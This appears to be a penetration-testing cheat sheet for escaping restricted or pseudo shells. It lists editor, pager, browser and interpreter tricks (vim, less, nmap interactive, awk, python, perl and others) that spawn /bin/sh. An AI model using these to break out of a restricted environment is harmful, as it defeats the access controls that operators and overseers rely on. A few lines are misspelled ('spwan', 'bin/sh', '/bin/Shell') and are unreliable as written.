shell escaping

Sometimes you find your self in a locked down/pseudo shell, for example some network appliance. But under the hood it might run a full unix OS. If this is the case you might be able to use some existing programs that might be available to escape from this pseudo shell.

editors

vim

:!/bin/sh

:set shell=/bin/sh
:shell

ed

!'/bin/sh'

ne

Load Prefs

nano

CTRL+R
CTRL+X
reset; bash 1>&0 2>&0

Pager

More/Less

Open a file that is larger then your terminal.

Run !'sh'

man

Run !'sh'

This to works since man uses more/less.

pinfo

press ! followed by the command you want to run.

Console Browsers

pagers can also be used a editors in console browsers.

FILE > OS Shell

lynx

open webpage.
press o
configure vim as editor

or

lynx --editor=/usr/bin/vim www.google.com

export EDITOR=/usr/bin/vim

open a site with a textbox. Press ENTER and then F4. elinks will use vim.

mutt

open mutt
press !
enter /bin/Shell

find

when ever it finds udp.xml it will cd to root and run ls.

find . -name udp.xml -exec awk 'BEGIN {system("cd /root; ls")}' \;

nmap

before version r17131

nmap --interactive
!sh

Programming Techniques

awk

awk 'BEGIN {system("/bin/sh")}'

expect

Expect
spwan sh
sh

python

python -c 'import os; os.system("/bin/sh");'

ruby

irb
exec 'bin/sh'

perl

perl -e 'system("sh -i")'
perl -e 'exec("sh -i")'

php

php -a
exec("sh -i");